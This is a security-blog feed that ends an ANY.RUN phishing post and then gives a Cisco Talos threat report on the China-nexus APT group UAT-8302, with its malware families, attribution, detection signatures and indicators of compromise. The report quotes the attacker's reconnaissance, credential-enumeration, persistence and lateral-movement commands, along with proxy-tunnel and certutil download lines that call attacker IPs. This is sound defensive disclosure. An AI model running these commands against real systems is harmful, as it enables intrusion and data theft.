Built for security-conscious organizations, ANY.RUN is SOC 2 Type II attested and supports enterprise-ready controls such as SSO, MFA, granular privacy settings, and AES-256-CBC encryption.

Trusted by more than 15,000 organizations and 600,000 security professionals worldwide, ANY.RUN gives SOC teams the visibility they need to move from uncertain alerts to evidence-based decisions.

Indicators of Compromise 

URL patterns: 

hxxps://<phish_site>/<url-pattern>/Image/office360.png 

hxxps://<phish_site>/<url-pattern>/Image/office.png 

hxxps://<phish_site>/<url-pattern>/Image/yahoo.png 

hxxps://<phish_site>/<url-pattern>/Image/google.png 

hxxps://<phish_site>/<url-pattern>/Image/aol.png 

hxxps://<phish_site>/<url-pattern>/Image/email.png 

hxxps://<phish_site>/blocked.html 

hxxps://<phish_site>/<url-pattern>/processmail.php 

hxxps://<phish_site>/<url-pattern>/process.php 

hxxps://<phish_site>/<url-pattern>/pass.php 

hxxps://<phish_site>/<url-pattern>/mlog.php 

hxxps://<phish_site>/<url-pattern>/check_telegram_updates.php 

Domains:

The current list of domains can be retrieved using the following query in ANY.RUN Threat Intelligence Lookup: url:”/blocked.html” AND url:”/favicon.ico” and url:”/Image/*.png”

The post New Phishing Campaign Targets US with Credential Theft: What CISOs Need to Know appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

• Cisco Talos is disclosing UAT-8302, a sophisticated, China-nexus advanced persistent threat (APT) group targeting government entities in South America since at least late 2024 and government agencies in southeastern Europe in 2025.
• After successful compromises, UAT-8302 deploys multiple custom-made malware families that have previously been used by other known China-nexus threat actors.
• Talos discovered a .NET-based backdoor we track as “NetDraft” that is a C#-based variant of the FinalDraft/SquidDoor malware family developed and operated by Jewelbug/REF7707/CL-STA-0049/LongNosedGoblin, a cluster of China-nexus APT actors.
• Furthermore, UAT-8302 also uses an updated version of the CloudSorcerer backdoor, a malware family used in attacks against Russian government entities in 2024.
• UAT-8302 also used VSHELL and its SNOWLIGHT stager in their operations, along with a new Rust-based stager that we track as SNOWRUST.

Talos assesses with high confidence that UAT-8302 is a China-nexus advanced persistent threat (APT) group tasked primarily with obtaining and maintaining long-term access to government and related entities around the world.

Post-compromise activity consisted of information collection, credential extraction, and proliferation using open-source tooling such as Impacket, proxying tools, and custom-built malware.

Malware deployed by UAT-8302 connects it to several previously publicly disclosed threat clusters, indicating a close operating relationship between them at the very least. Overall, the various malicious artifacts deployed by UAT-8302 indicate that the group has access to tools used by other sophisticated APT actors, all of which have been assessed as China-nexus or Chinese-speaking by various third-party industry reports.

For instance, NetDraft, a .NET-based malware family deployed by UAT-8302 in South America, was also disclosed by ESET as NosyDoor, attributed to a China-nexus APT they track as LongNosedGoblin. ESET assesses that LongNosedGoblin used NosyDoor/NetDraft and other custom-made malware to target government organizations in Southeast Asia and Japan. Furthermore, as per Solar’s reporting, NetDraft was also deployed against Russian IT organizations in 2024 by Erudite Mogwai (LuckyStrike Agent).

NetDraft is likely a .NET-ported variant of the FinalDraft/SquidDoor malware family developed and operated exclusively by Jewelbug/REF7707/CL-STA-0049 — also another cluster of China-nexus APT actors.

Another malware family deployed by UAT-8302 is CloudSorcerer (version 3). Kaspersky disclosed that CloudSorcerer was used in attacks directed against Russian government entities in 2024.

Furthermore, two other malware families, SNAPPYBEE/DeedRAT and ZingDoor, were deployed by UAT-8302 in conjunction with each other, a tactic also highlighted by Trend Micro in 2024.

Talos’ analysis also connects more custom-made tooling that UAT-8302 used to other China-nexus or Chinese-speaking APTs:

• Draculoader: A generic shellcode loader deployed by UAT-8302, also used by the Earth Estries and Earth Naga APT groups who have histories of targeting government agencies in Southeast Asia and elsewhere.
• SNOWLIGHT: A generic stager for the VSHELL malware family, used by UAT-8302. Also used by UAT-6382, who exploited a Cityworks zero-day (CVE-2025-0994) to deploy VSHELL. SNOWLIGHT has also been seen in intrusions attributed to other China-nexus APT clusters, such as UNC5174 and UNC6586.

The various connections between UAT-8302 and other China-nexus or Chinese-speaking threat actors can be visualized as:

Figure 1. UAT-8302’s interconnections.

Initial compromise and reconnaissance

UAT-8302’s tooling overlaps with various APT groups that have been known to exploit both zero-day and n-day exploits to obtain initial access. We assess that UAT-8302 follows the same paradigm of obtaining initial access to its victims.

Once initial access is obtained, UAT-8302 conducts preliminary reconnaissance using red-teaming tools such as Impacket:

Other reconnaissance commands may be:

ipconfig /all
certutil -user -store My
certutil -user -store CA
certutil -user -store Root
whoami
nslookup www[.]google[.]com
net use
cmd.exe /c net view /domain
cmd.exe /c systeminfo
cmd.exe /c net time /domain
cmd.exe /c nslookup -type=SRV _ldap._tcp
net group <name> /domain

 One of UAT-8302’s primary goals is to proliferate within the compromised network, and therefore, the actor conducts extensive reconnaissance on every endpoint that they can access. This extended recon is scripted usually using a custom-made PowerShell script such as “whatpc.ps1”:

powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File C:WindowsTempwhatpc.ps1

The script may be persisted to collect system information via a scheduled task:

cmd.exe /c schtasks /create /tn 'ReconLiteDebug' /tr 'powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File c:windowstempwhatpc.ps1' /sc ONCE /st 08:25 /ru SYSTEM /f

cmd.exe /c schtasks /create /tn 'RunWhatPC' /tr 'c:windowstemprun.bat' /sc ONCE /st 23:28 /ru SYSTEM /f

This script executes the following commands on the systems to identify them:

whoami 
whoami.exe /groups
whoami.exe /priv
net.exe user
net.exe localgroup
net.exe localgroup administrators
ipconfig.exe /all
ARP.EXE -a
ROUTE.EXE print
NETSTAT.EXE -ano
cmd.exe /c net share
cmd.exe /c wmic startup get caption,command 2>&1
nltest.exe /dclist:<domain>
net.exe user /domain
net.exe group /domain
net.exe group Domain Admins /domain
nltest.exe /domain_trusts

UAT-8302 also performs ping sweeps of the network to discover more endpoints to proliferate into:

C:/Windows/Temp/ping_scan.bat
C:/Windows/Temp/run_scan.bat
C:/Windows/Temp/nbtscan.exe

cmd.exe /Q /c (for /l %i in (1,1,254) do @ping -n 1 -w 300 192.168.1.%i | find TTL= && echo 192.168.1.%i is alive) > C:WindowsTempalive_hosts.txt

UAT-8302 also discovers SMB shares in the network to find reachable remote shares:

cmd.exe /Q /c (for /l %i in (1,1,254) do @net use \192.168.1.%iIPC$ >nul 2>&1 && echo 192.168.1.%i - Port 445 is open || echo 192.168.1.%i - Port 445 is closed) > C:WindowsTempportscan.txt

Scanning tools

UAT-8302 may also download and run “gogo,” a GoLang based, open-sourced automated network scanning engine written in Simplified Chinese:

curl -fsSL hxxps://github[.]com/chainreactors/gogo/releases/download/v2.14.0/gogo_windows_amd64.exe -o go.exe

Additionally, UAT-8302 uses a variety of scanning tools such as QScan, naabu and dddd  PortQry and httpx to discover services in the network:

httpx.exe -sc -title -location -f -td -r 192.168.1.1/16
httpx.exe -sc -title -location -td -r 192.168.1.1/16 -o web.txt
httpx.exe -sc -title -location -td -u 192.168.1.1/16 -o web.txt

Information collection

UAT-8302 collects a variety of information about the environment that they are operating within including Active Directory (AD) information and credentials using open-sourced tooling such as:

adconnectdump.py

A Python-based tool for Azure AD Connect/Entra ID connect credential extraction:

python.exe adconnectdump.py

Manual extraction

UAT-8302 may also directly query the AD user and computer objects to obtain information from them via PowerShell:

powershell -command Get-ADUser -Filter * -Property * | Select-Object Name, Displayname, LastLogonDate, PasswordLastSet, PasswordExpired, Description, EmailAddress, homeDirectory, scriptPath

powershell -command Get-ADUser -Filter * -Property * | Select-Object SamAccountName, DisplayName, Enabled, LastLogonDate, PasswordLastSet, PasswordExpired, Description, EmailAddress, HomeDirectory, ScriptPath, @{Name='Groups';Expression={((Get-ADUser $.SamAccountName -Properties MemberOf).MemberOf | ForEach-Object { ($ -split ',')[0] -replace '^CN=' }) -join '; '}}

powershell -Command Get-ADComputer -Filter * -Property Name,DNSHostName,OperatingSystem,Description | Select-Object Name, DNSHostName, OperatingSystem, Description | Format-Table -AutoSize
powershell -Command Get-ADGroup -Filter * -Properties Members, Description | Select-Object Name, Description, @{Name='Members';Expression={ ($.Members | ForEach-Object { ($ -split ',')[0] -replace '^CN=' }) -join '; ' }}| Format-Table -AutoSize

Specific AD users of interest may also be queried using system tools such as dsmod and dsquery.

Log collection

UAT-8302 also collects event log information and the logs themselves on multiple endpoints. Logs are an excellent source of obtaining information and understanding security configurations and policies applied within a target’s environment:

powershell -Command Get-WinEvent -ListLog Security | Format-List LogName, FileSize, LogMode, MaximumSizeInBytes, RecordCount

powershell -command Get-EventLog -LogName System -Source NETLOGON -Newest 5000 | Where-Object { $_.Message -match "Administrator" }

powershell -Command chcp 437 >$null; Get-WinEvent -FilterHashtable @{ LogName = 'Security'; ID = 4768 } | Where-Object { $_.Message -match 'Administrador' }

Audit policies are also queried extensively to obtain system logging configurations:

auditpol /get /category:Logon/Logoff

auditpol /get /category:*

UAT-8302 also collects AD snapshots using tools such as the AD Explorer tool:

ae.exe -snapshot c:windowstempresult.dat /accepteula

cmd.exe /C 7zr.exe a -mx=5 c:windowstempr.7z c:windowstempresult.dat

UAT-8302 also uses a tool written in Simplified Chinese called “SharpGetUserLoginIPRP” — derived from another Chinese-language repository — which is used to extract login information from a domain controller:

C:ProgramDataS.exe user:pass@IP -day

Proliferation through the network

UAT-8302 proliferates across various endpoints by using a combination of either Impacket- or WMI-based remote process creation:

cmd.exe /C wmic /node:IP process call create cmd.exe /c c:programdatae1.bat

cmd.exe /C schtasks /S IP /U username /P passwd /create /tn 'Runbat' /tr 'c:windowstemprun.bat' /sc ONCE /st 5:12 /ru SYSTEM /f

These BAT files are meant to execute the accompanying malware on the target systems.

Furthermore, UAT-8302 may also extract login credentials from MobaxXterm, a multi-functional and tabbed SSH client, using tools such as MobaXtermDecryptor to pivot to other endpoints.

Custom-made malware deployment

UAT-8302 deploys a variety of malware families in their intrusions including NetDraft, CloudSorcerer version 3, and VSHELL.

NetDraft

NetDraft, also known as  NosyDoor, is a .NET variant of the FINALDRAFT malware. FINALDRAFT or Squidoor is a malware family developed and operated exclusively by Jewelbug/REF7707/CL-STA-0049, a cluster of China-nexus APT actors. FINALDRAFT uses legitimate services such as MS Graph to act as command-and-control servers (C2s) to execute commands and payloads on the compromised system. Similarly, NetDraft relies on the MS Graph API to communicate with its OneDrive based C2. NetDraft is deployed using the following mechanism:

• A benign executable is used to side load a malicious dynamic-link library (DLL) based loader.
• The loader DLL decodes NetDraft from an accompanying data file and invokes it in the context of the existing process.
• NetDraft also contains an embedded, .NET-based helper library. The library is compressed and embedded using the Fody/Costura framework. During runtime, the library is decompressed and instrumented to carry out operations on the endpoint on behalf of NetDraft. We track this library as “FringePorch.”

Figure 2. NetDraft and FringePorch infection chain.

NetDraft and FringePorch support the following functionalities:

• Execute arbitrary commands on the endpoint
• Execute a .NET based assembly sent by the C2 within NetDraft’s process context
• Exit and stop execution
• Upload files to C2
• Download files from specified remote locations to local disks
• File management: Change current working directory, rename files, enumerate files, and set write times
• Sleep
• Execute a .NET plugin: This functionality is similar to its ability to run arbitrary .NET based assemblies. Here, the implant runs a provided plugin’s “Plugin.Run” function.

Since NetDraft is missing the capability to persist across reboots and relogins, one of the first commands the C2 issues to it is the creation of a malicious scheduled task:

schtasks /create /ru system /tn MicrosoftWindowsMaps{a086ff1e-d6dc-45f7-b3e4-6udknw82sa} /sc hourly /mo 2 /tr 'C:ProgramDataMicrosoftMicrosoftAppunion.exe' /F

CloudSorcerer v3

Another malware UAT-8302 deploys is the latest version of the CloudSorcerer backdoor (version 3).  The malware consists of the side-loading triad of files: a benign executable, a malicious DLL-based loader, and the actual implant in a data file:

Yandex.exe -r -p:test.ini -s:12

VMtools.exe -r -p:VM.ini -s:12

The executables will sideload a DLL named “mspdb60[.]dll”, which will load and decrypt the “.ini” file specified in the command line — such as “test.ini” or “vm.ini”. The decrypted shellcode is then injected into a combination of specified benign processes.

CloudSorcerer v3 – The decrypted shellcode

The decrypted INI file is a newer version of CloudSorcerer (v3) disclosed by Kaspersky in 2024. Depending on process name (where it may have been initiated or injected), CloudSorcerer v3 will perform one of the following actions:

• If the process is named “dpapimig.exe”, then it will gather system information, inject itself into explorer.exe, and receive command codes from the C2 via a named pipe, gather disk information, enumerate files, execute arbitrary commands, perform file operations (delete, rename, read, write, etc.) and execute shellcode received via the named pipe.
• If the process is named “spoolsv.exe”, then it will contact GitHub to obtain C2 information and receive commands from the C2.
• If the process is named “mspaint.exe”, “browser”, or anything else, it will proceed to inject itself into dpapimg.exe, spoolsv.exe, etc. to kick off its malicious operations.

The system information CloudSorcerer v3 collects includes computer name, username and local system time.

Obtaining C2 information

Like CloudSorcerer v2, version 3 contacts a legitimate service to obtain the C2 information. The malware will either contact a specific GitHub repository to read a data blob, or read a GameSpot profile the threat actors set up.

The data blob is decoded to obtain the C2 information, which can exist in the one of the following formats depending on the variant of the CloudSorcerer backdoor:

• A C2 URL for a domain or IP, controlled by UAT-8302, that the malware uses to begin communication with the C2 to carry out malicious operations
• An access token to a legitimate service (such as OneDrive or Dropbox) that UAT-8302 uses to act as its C2 infrastructure to obtain next-stage payloads and commands

VSHELL, SNOWLIGHT and SNOWRUST

In other instances, UAT-8302 deploys the VSHELL malware via a slightly different triad of artifacts for side-loading malware. The benign executable side-loads a malicious DLL named “wininet[.]dll” that reads a BIN file and injects it into “explorer[.]exe”.

The payload is position-independent shellcode that is injected into explorer[.]exe. The payload is a stager for the VSHELL malware that downloads and single-byte XORs the obtained payload with the key 0x99. The decoded payload is a garbled version of VSHELL.

It is worth noting that Talos observed the same single byte key and stager being used by UAT-6382 to deliver VSHELL malware in early 2025. Further investigation revealed that this stager is in fact SNOWLIGHT, a lightweight downloader that can download and deploy a next stage payload. UNC5174 has been observed using SNOWLIGHT to download Sliver and VSHELL. UNC5174 is a suspected China-nexus threat actor that typically exploits zero-day and n-day vulnerabilities to gain access to critical infrastructure organizations in the Americas.

Talos discovered that UAT-8302 also used a Rust based variant of SNOWLIGHT that we track as “SNOWRUST.” SNOWRUST is based on the LexiCrypt Rust-based shellcode obfuscator. SNOWRUST simply decodes the embedded SNOWLIGHT shellcode and executes it to download the XOR encoded final payload, VSHELL, received from the C2.

In one intrusion, UAT-8302 used VSHELL to deploy a native driver from the Hades HIDS/HIPS software — an open-source Windows host monitoring kernel framework written in Simplified Chinese. The driver was specifically the System Monitoring filter driver that lets Hades register callbacks for process, thread, registry, and file events. This allows the driver to monitor the system and potentially allow, block, or hide events and artifacts.

The SNAPPYBEE/DeedRAT and ZingDoor combo

In one instance, UAT-8302 first deployed a RAT family known as DeedRAT/SNAPPYBEE. However, UAT-8302 almost immediately switched over to a DLL-based malware family known as ZingDoor, first disclosed by Trend Micro in 2023, which has attributed both DeedRAT and ZingDoor to the China-nexus threat actor Earth Estries.

ZingDoor has also been deployed after the successful exploitation of ToolShell in 2025 by China-nexus threat actors.

In parallel, UAT-8302 also deployed Draculoader, a generic shellcode loader, also used by the Earth Estries and Earth Naga APT groups who have histories of targeting government agencies in Southeast Asia and elsewhere:

C:Documents and SettingsAll UsersMicrosoftCryptoRSAd3d8.dll

Setting up additional means of backdoor access

Once UAT-8302 deploys their custom-made malware, they begin establishing other means of backdoor access. One of the techniques used is setting up proxy servers on infected systems to tunnel traffic outside the enterprise to the infected hosts using tools such as Stowaway (another tool written in Simplified Chinese):

c:windowssystem32wagent.exe -c 85[.]209[.]156[.]3:56456
  
cmd.exe /c (echo @echo off && start c:windowstempmmc.exe -l 85[.]209[.]156[.]3:56456 -s <pass> && echo exit) > c:windowstemptrun.bat
  
ag531.exe -c 45[.]135[.]135[.]100:443 -s <blah> -f AgreedUponByAllParties

UAT-8302 may use other tools such as anyproxy to set up proxies within the infected enterprise’s network:

c:userspublicany.exe

Furthermore, we observed UAT-8302 deploying the SoftEther VPN clients as well:

certutil -urlcache -split -f hxxp://38[.]54[.]32[.]244/Rar.exe rar.exe
  
rar.exe x glb.rar
  
Communicator.exe /usermode

Coverage

The following ClamAV signatures detect and block this threat:

• Win.Loader.CloudSorcerer-10059633-0
• Win.Loader.CloudSorcerer-10059634-0
• Win.Malware.CloudSorcerer-10059635-0
• Win.Tool.dddd-10059636-2
• Win.Tool.dddd-10059637-0
• Win.Loader.Donut-10059638-0
• Win.Loader.Draculoader-10059639-0
• Win.Tool.gogo-10059640-0
• Win.Tool.gogo-10059641-0
• Ps1.Tool.Microburst-10059642-0
• Win.Tool.Mobaxtermdecryptor-10059643-0
• Win.Malware.Netdraft-10059644-0
• Win.Malware.Netdraft-10059645-0
• Win.Malware.Netdraft-10059646-0
• Win.Malware.Netdraft-10059647-0
• Win.Malware.Snappybee-10059648-0
• Win.Malware.Snappybee-10059649-0
• Win.Malware.Snappybee-10059650-0
• Win.Malware.Snappybee-10059651-0
• Win.Malware.Snappybee-10059652-0
• Win.Malware.Snappybee-10059653-0
• Win.Malware.Snowrust-10059654-0
• Win.Malware.Agent-10059655-0
• Win.Malware.Stowaway-10059656-0
• Win.Malware.Stowaway-10059657-0
• Win.Loader.Agent-10059658-0
• Win.Malware.Agent-10059659-0
• Win.Malware.Agent-10059660-0
• Win.Loader.Agent-10059661-1
• Win.Malware.Agent-10059662-0

The following Snort Rules (SIDs) detect and block this threat:

• 66055, 66054, 301437, 301436, 301435, 301434, 301433, 301432, 301431
• 66052, 66053, 66050, 66051, 66048, 66049, 66046, 66047, 66044, 66045, 66042, 66043, 66040, 66041

Indicators of compromise (IOCs)

NetDraft, FringePorch

1139b39d3cc151ddd3d574617cf113608127850197e9695fef0b6d78df82d6ca
Ee56c49f42522637f401d15ac2a2b6f3423bfb2d5d37d071f0172ce9dc688d4b
51f0cf80a56f322892eed3b9f5ecae45f1431323600edbaea5cd1f28b437f6f2

 VSHELL

35b2a5260b21ddb145486771ec2b1e4dc1f5b7f2275309e139e4abc1da0c614b
199bd156c81b2ef4fb259467a20eacaa9d861eeb2002f1570727c2f9ff1d5dab

 ZingDoor

071e662fc5bc0e54bcfd49493467062570d0307dc46f0fb51a68239d281427c6

 Gogo

E74098b17d5d95e0014cf9c7f41f2a4e4be8baefc2b0eb42d39ae05a95b08ea5
2b627f6afe1364a7d0d832ccba87ef33a8a39f30a70a5f395e2a3cb0e2161cb3

 Stowaway

7c593ca40725765a0747cc3100b43a29b88ad1708ef77e915ab02686c0153001
F859a67ceebc52f0770a222b85a5002195089ee442eac4bea761c29be994e2ea

 anyproxy

7d9c70fc36143eb33583c30430dcb40cf9d306067594cc30ffd113063acd6292

  QScan

1bb59491f7289b94ab0130d7065d74d2459a802a7550ebf8cd0828f0a09c4d38

 Draculoader

843f8aea7842126e906cadbad8d81fa456c184fb5372c6946978a4fe115edb1c

 Dddd

343105919aa6df8a75ecb8b06b74f23a7d3e221fca56c67b728c50ea141314bc

 Httpx

4109f15056414f25140c7027092953264944664480dd53f086acb8e07d9fccab

 SoftEther VPN

3dec6703b2cbc6157eb67e80061d27f9190c8301c9dd60eb0be1e8b096482d7e

 SharpGetUserLogin

9f115e9b32111e4dc29343a2671ab10a2b38448657b24107766dc14ce528fceb
B19bfca2fc3fdabf0d0551c2e66be895e49f92aedac56654b1b0f51ec66e7404

 Naabu

45cd169bf9cd7298d972425ad0d4e98512f29de4560a155101ab7427e4f4123f

 PortQry

Fb6cebadd49d202c8c7b5cdd641bd16aac8258429e8face365a94bd32e253b00

  

Network IOCs

hxxps[://]www[.]drivelivelime[.]com
hxxps[://]www[.]drivelivelime[.]com/x
hxxps[://]www[.]drivelivelime[.]com/pw
www[.]drivelivelime[.]com
 
hxxps[://]msiidentity[.]com
hxxps[://]msiidentity[.]com/pw
msiidentity[.]com
 
hxxp[://]trafficmanagerupdate[.]com/index[.]php
trafficmanagerupdate[.]com
 
image[.]update-kaspersky[.]workers[.]dev
update-kaspersky[.]workers[.]dev
 
85[.]209[.]156[.]3
85[.]209[.]156[.]3:56456
85[.]209[.]156[.]3:46389
hxxp[://]85[.]209[.]156[.]3:8080/wagent[.]exe
hxxp[://]85[.]209[.]156[.]3:8082/wagent[.]exe
 
 
185[.]238[.]189[.]41
hxxp[://]185[.]238[.]189[.]41:8080          
 
103[.]27[.]108[.]55
hxxp[://]103[.]27[.]108[.]55:48265/
 
hxxp[://]38[.]54[.]32[.]244/Rar[.]exe
38[.]54[.]32[.]244
 
45[.]140[.]168[.]62
88[.]151[.]195[.]133
156[.]238[.]224[.]82
45[.]135[.]135[.]100

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